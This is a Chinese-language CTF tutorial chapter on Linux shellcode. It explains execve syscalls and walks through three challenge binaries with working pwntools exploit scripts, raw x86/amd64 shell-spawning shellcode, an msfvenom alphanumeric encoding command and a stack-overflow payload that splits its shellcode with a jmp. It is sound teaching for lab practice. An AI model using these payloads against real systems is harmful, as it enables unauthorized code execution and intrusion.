CTF必備技能丨Linux Pwn入門教程——ShellCode

這是一套Linux Pwn入門教程系列,做者依據i春秋Pwn入門課程中的技術分類,並結合近幾年賽事中出現的一些題目和文章整理出一份相對完整的Linux Pwn教程。html

課程回顧>>python

Linux Pwn入門教程第一章:環境配置linux

Linux Pwn入門教程第二章:棧溢出基礎shell

本系列教程僅針對i386/amd64下的Linux Pwn常見的Pwn手法,如棧,堆,整數溢出,格式化字符串,條件競爭等進行介紹,全部環境都會封裝在Docker鏡像當中,並提供調試用的教學程序,來自歷年賽事的原題和帶有註釋的python腳本。數據庫

今天是Linux Pwn入門教程第三章:ShellCode的使用、原理與變形,本文篇幅較長,但願你們耐心看完,閱讀用時約15分鐘。架構

ShellCode的使用app

在上一篇文章中咱們學習了怎麼使用棧溢出劫持程序的執行流程。爲了減小難度,演示和做業題程序裏都帶有很明顯的後門。然而在現實世界裏並非每一個程序都有後門,即便是有,也沒有那麼好找。所以,咱們就須要使用定製的ShellCode來執行本身須要的操做。ide

首先咱們把演示程序~/Openctf 2016-tyro_shellcode1/tyro_shellcode1複製到32位的Docker環境中並開啓調試器進行調試分析。須要注意的是,因爲程序帶了一個很簡單的反調試,在調試過程當中可能會彈出以下窗口:函數

 

 

此時點OK,在彈出的Exception handling窗口中選擇No(discard)丟棄掉SIGALRM信號便可。工具

與上一篇教程不一樣的是,此次的程序並不存在棧溢出。從F5的結果上看程序使用read函數讀取的輸入甚至都不在棧上,而是在一片使用mmap分配出來的內存空間上。

 

經過調試,咱們能夠發現程序其實是讀取咱們的輸入,而且使用call指令執行咱們的輸入。也就是說咱們的輸入會被當成彙編代碼被執行。

 

 

 

顯然,咱們這裏隨便輸入的「12345678」有點問題,繼續執行的話會出錯。不過,當程序會把咱們的輸入當成指令執行,ShellCode就有用武之地了。

首先咱們須要去找一個ShellCode,咱們但願ShellCode能夠打開一個Shell以便於遠程控制只對咱們暴露了一個10001端口的Docker環境,並且ShellCode的大小不能超過傳遞給read函數的參數,即0x20=32。咱們經過著名的shell-storm.org的ShellCode數據庫shell-storm.org/shellcode/找到了一段符合條件的ShellCode。

 21個字節的執行sh的ShellCode,點開一看裏面還有代碼和介紹。咱們先無論這些介紹,把ShellCode取出來。

 使用Pwntools庫把ShellCode做爲輸入傳遞給程序,嘗試使用io.interactive( )與程序進行交互,發現能夠執行shell命令。

 

 

固然,shell-storm上還有能夠執行其餘功能如關機,進程炸彈,讀取/etc/passwd等的ShellCode,你們也能夠試一下。總而言之,ShellCode是一段能夠執行特定功能的神祕代碼。那麼ShellCode是怎麼被編寫出來,又是怎麼執行指定操做的呢?咱們繼續來深挖下去。

ShellCode的原理

此次咱們直接斷點下在call eax上,而後F7跟進。

 

 能夠看到咱們的輸入變成了以下彙編指令:

 

咱們能夠選擇Options->General,把Number of opcode bytes (non-graph)的值調大。

 

 

會發現每條彙編指令都對應着長短不一的一串16進制數。

 

對彙編有必定了解的讀者應該知道,這些16進制數串叫作opcode。opcode是由最多6個域組成的,和彙編指令存在對應關係的機器碼。或者說能夠認爲彙編指令是opcode的「別名」。易於人類閱讀的彙編語言指令,如xor ecx, ecx等,實際上就是被彙編器根據opcode與彙編指令的替換規則替換成16進制數串,再與其餘數據通過組合處理,最後變成01字符串被CPU識別並執行的。

固然,IDA之類的反彙編器也是使用替換規則將16進制串處理成彙編代碼的。因此咱們能夠直接構造合法的16進制串組成的opcode串,即ShellCode,使系統得以識別並執行,完成咱們想要的功能。關於opcode六個域的組成及其餘深刻知識此處再也不贅述,感興趣的讀者能夠在Intel官網獲取開發者手冊或其餘地方查閱資料進行了解並嘗試查表閱讀機器碼或者手寫ShellCode。

系統調用

咱們繼續執行這段代碼,能夠發現EAX, EBX, ECX, EDX四個寄存器被前後清零,EAX被賦值爲0Xb,ECX入棧,「/bin//sh」字符串入棧,並將其首地址賦給了EBX,最後執行完int 80h,IDA彈出了一個warning窗口顯示got SIGTRAP signal。

 點擊OK,繼續F8或者F9執行,選擇Yes(pass to app) ,而後在python中執行io.interactive( )進行手動交互,隨便輸入一個shell命令如ls,在IDA窗口中再次按F9,彈出另外一個捕獲信號的窗口。

 一樣OK後繼續執行,選擇Yes(pass to app),發現python窗口中的shell命令被成功執行。

那麼問題來了,咱們這段ShellCode裏面並無system這個函數,是誰實現了「system("/bin/sh")」的效果呢?事實上,經過剛剛的調試你們應該能猜到是陌生的int 80h指令。查閱intel開發者手冊咱們能夠知道int指令的功能是調用系統中斷,因此int 80h就是調用128號中斷。在32位的linux系統中,該中斷被用於呼叫系統調用程序system_call( ),咱們知道出於對硬件和操做系統內核的保護,應用程序的代碼通常在保護模式下運行。

在這個模式下咱們使用的程序和寫的代碼是沒辦法訪問內核空間的。可是咱們顯然能夠經過調用read( ), write( )之類的函數從鍵盤讀取輸入,把輸出保存在硬盤裏的文件中。那麼read( ), write( )之類的函數是怎麼突破保護模式的管制,成功訪問到本該由內核管理的這些硬件呢?

答案就在於int 80h這個中斷調用。不一樣的內核態操做經過給寄存器設置不一樣的值,再調用一樣的指令int 80h,就能夠通知內核完成不一樣的功能。而read( ), write( ), system( )之類的須要內核「幫忙」的函數,就是圍繞這條指令加上一些額外參數處理,異常處理等代碼封裝而成的。32位linux系統的內核一共提供了0~337號共計338種系統調用用以實現不一樣的功能。

知道了int 80h的具體做用以後,咱們接着去查表看一下如何使用int 80h實現system("/bin/sh")。經過http://syscalls.kernelgrok.com/,咱們沒找到system,可是找到了這個:

 對比咱們使用的ShellCode中的寄存器值,很容易發現ShellCode中的EAX = 0Xb = 11,EBX = &(「/bin//sh」), ECX = EDX = 0,即執行了sys_execve("/bin//sh", 0, 0, 0),經過/bin/sh軟連接打開一個shell,因此咱們能夠在沒有system函數的狀況下打開shell。須要注意的是,隨着平臺和架構的不一樣,呼叫系統調用的指令,調用號和傳參方式也不盡相同,例如64位linux系統的彙編指令就是syscall,調用sys_execve須要將EAX設置爲0x3B,放置參數的寄存器也和32位不一樣。

ShellCode的變形

在不少狀況下,咱們多試幾個ShellCode,總能找到符合能用的。可是在有些狀況下,爲了成功將ShellCode寫入被攻擊的程序的內存空間中,咱們須要對原有的ShellCode進行修改變形以免ShellCode中混雜有\x00, \x0A等特殊字符,或是繞過其餘限制。有時候甚至須要本身寫一段ShellCode。咱們經過兩個例子分別學習一下如何使用工具和手工對ShellCode進行變形。

首先咱們分析例子~/BSides San Francisco CTF 2017-b_64_b_tuff/b-64-b-tuff.從F5的結果上看,咱們很容易知道這個程序會將咱們的輸入進行base64編碼後做爲彙編指令執行(注意存放base64編碼後結果的字符串指針ShellCode在return 0的前一行被類型強轉爲函數指針並調用)

雖然程序直接給了咱們執行任意代碼的機會,可是base64編碼的限制要求咱們的輸入必須只由0-9,a-z,A-Z,+,/這些字符組成,然而咱們以前用來開shell的ShellCode

"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"顯然含有大量的非base64編碼字符,甚至包含了大量的不可見字符。所以,咱們就須要對其進行編碼。

在不改變ShellCode功能的狀況下對其進行編碼是一個繁雜的工做,所以咱們首先考慮使用工具。事實上,pwntools庫中自帶了一個encode類用來對ShellCode進行一些簡單的編碼,可是目前encode類的功能較弱,彷佛沒法避開太多字符,所以咱們須要用到另外一個工具msfVENOM。因爲kali中自帶了metasploit,使用kali的讀者能夠直接使用。

首先咱們查看一下msfvenom的幫助選項:

 顯然,咱們須要先執行msfvenom -l encoders挑選一個編碼器

圖中的x86/alpha_mixed能夠將shellcode編碼成大小寫混合的代碼,符合咱們的條件。因此咱們配置命令參數以下:python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload

咱們須要本身輸入ShellCode,但msfvenom只能從stdin中讀取,因此使用linux管道操做符「|」,把ShellCode做爲python程序的輸出,從python的stdout傳送到msfvenom的stdin。此外配置編碼器爲x86/alpha_mixed,配置目標平臺架構等信息,輸出到文件名爲payload的文件中。最後,因爲在b-64-b-tuff中是經過指令call eax調用shellcode的

 

 

因此配置BufferRegister=EAX。最後輸出的payload內容爲:

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA

編寫腳本以下:

#!/usr/bin/python
#coding:utf-8
from pwn import *
from base64 import *
context.update(arch = 'i386', os = 'linux', timeout = 1) 
io = remote('172.17.0.2', 10001) 
shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA")
print io.recv()
io.send(shellcode) 
print io.recv() 
io.interactive()

成功獲取shell

 

工具雖然好用,但也不是萬能的。有的時候咱們能夠成功寫入ShellCode,可是ShellCode在執行前甚至執行時卻會被破壞。當破壞難以免時,咱們就須要手工拆分ShellCode,而且編寫代碼把兩段分開的ShellCode再「連」到一塊兒。好比例子~/CSAW Quals CTF 2017-pilot/pilot

這個程序的邏輯一樣很簡單,程序的main函數中存在一個棧溢出。

使用Pwntools自帶的檢查腳本checksec檢查程序,發現程序存在着RWX段(同linux的文件屬性同樣,對於分頁管理的現代操做系統的內存頁來講,每一頁也一樣具備可讀(R),可寫(W),可執行(X)三種屬性。只有在某個內存頁具備可讀可執行屬性時,上面的數據才能被當作彙編指令執行,不然將會出錯)

調試運行後發現這個RWX段其實就是棧,且程序還泄露出了buf所在的棧地址。

 

因此咱們的任務只剩下找到一段合適的ShellCode,利用棧溢出劫持RIP到ShellCode上執行。因此咱們寫了如下腳本:

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch = 'amd64', os = 'linux', timeout = 1) 
io = remote('172.17.0.3', 10001) 
shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#xor rdx, rdx
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
#push rdi
#mov rsi, rsp
#mov al, 0x3b
#syscall
print io.recvuntil("Location:") #讀取到"Location:",緊接着就是泄露出來的棧地址
shellcode_address_at_stack = int(io.recv()[0:14], 16) #將泄露出來的棧地址從字符串轉換成數字
log.info("Leak stack address = %x", shellcode_address_at_stack)
payload = "" 
payload += shellcode #拼接shellcode
payload += "\x90"*(0x28-len(shellcode)) #任意字符填充到棧中保存的RIP處,此處選用了空指令NOP,即\x90做爲填充字符
payload += p64(shellcode_address_at_stack) #拼接shellcode所在的棧地址,劫持RIP到該地址以執行shellcode
io.send(payload)
io.interactive()

可是執行時卻發現程序崩潰了。

很顯然,咱們的腳本出現了問題。咱們直接把斷點下載main函數的retn處,跟進到ShellCode看看發生了什麼:

從這四張圖和ShellCode的內容咱們能夠看出,因爲ShellCode執行過程當中的push,最後一部分會在執行完push rdi以後被覆蓋從而致使ShellCode失效。所以咱們要選一個更短的ShellCode,或者就對其進行改造。鑑於ShellCode很差找,咱們仍是選擇改造。

首先咱們會發如今ShellCode執行過程當中只有返回地址和上面的24個字節會被push進棧的寄存器值修改,而棧溢出最多能夠向棧中寫0x40=64個字節。結合對這個題目的分析可知在返回地址以後還有16個字節的空間可寫。根據這四張圖顯示出來的結果,push rdi執行後下一條指令就會被修改,所以咱們能夠考慮把ShellCode在push rax和push rdi之間分拆成兩段,此時push rdi以後的ShellCode片斷爲8個字節,小於16字節,能夠容納。

接下來咱們須要考慮怎麼把這兩段代碼連在一塊兒執行。咱們知道,能夠打破彙編代碼執行的連續性的指令就那麼幾種,call,ret和跳轉。前兩條指令都會影響到寄存器和棧的狀態,所以咱們只能選擇使用跳轉中的無條件跳轉jmp,咱們能夠去查閱前面提到過的Intel開發者手冊或其餘資料找到jmp對應的字節碼,不過幸運的是這個程序中就帶了一條。

從圖中能夠看出jmp short locret_400B34的字節碼是EB 05。顯然,jmp短跳轉(事實上jmp的跳轉有好幾種)的字節碼是EB。至於爲何距離是05而不是0x34-0x2D=0x07,是由於距離是從jmp的下一條指令開始計算的。所以,咱們以此類推可得咱們的兩段ShellCode之間跳轉距離應爲0x18,因此添加在第一段ShellCode後面的字節爲\xeb\x18,添加兩個字節也恰好避免第一段ShellCode的內容被rdi的值覆蓋。因此正確的腳本以下:

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch = 'amd64', os = 'linux', timeout = 1) 
io = remote('172.17.0.3', 10001) 
#shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#原始的shellcode。因爲shellcode位於棧上,運行到push rdi時棧頂正好到了\x89\xe6\xb0\x3b\x0f\x05處,rdi的值會覆蓋掉這部分shellcode,從而致使執行失敗,因此須要對其進行拆分
#xor rdx, rdx
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
#push rdi
#mov rsi, rsp
#mov al, 0x3b
#syscall
shellcode1 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50"
#第一部分shellcode,長度較短,避免尾部被push rdi污染
#xor rdx, rdx
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
shellcode1 += "\xeb\x18"
#使用一個跳轉跳過被push rid污染的數據,接上第二部分shellcode繼續執行
#jmp short $+18h
shellcode2 = "\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#第二部分shellcode
#push rdi
#mov rsi, rsp
#mov al, 0x3b
#syscall
print io.recvuntil("Location:") #讀取到"Location:",緊接着就是泄露出來的棧地址
shellcode_address_at_stack = int(io.recv()[0:14], 16) #將泄露出來的棧地址從字符串轉換成數字
log.info("Leak stack address = %x", shellcode_address_at_stack)
payload = "" 
payload += shellcode1 #拼接第一段shellcode
payload += "\x90"*(0x28-len(shellcode1)) #任意字符填充到棧中保存的RIP處,此處選用了空指令NOP,即\x90做爲填充字符
payload += p64(shellcode_address_at_stack) #拼接shellcode所在的棧地址,劫持RIP到該地址以執行shellcode
payload += shellcode2 #拼接第二段shellcode
io.send(payload)
io.interactive()

以上是今天的內容,你們看懂了嗎?後面咱們將持續更新Linux Pwn入門教程的相關章節,但願你們及時關注。

相關文章
相關標籤/搜索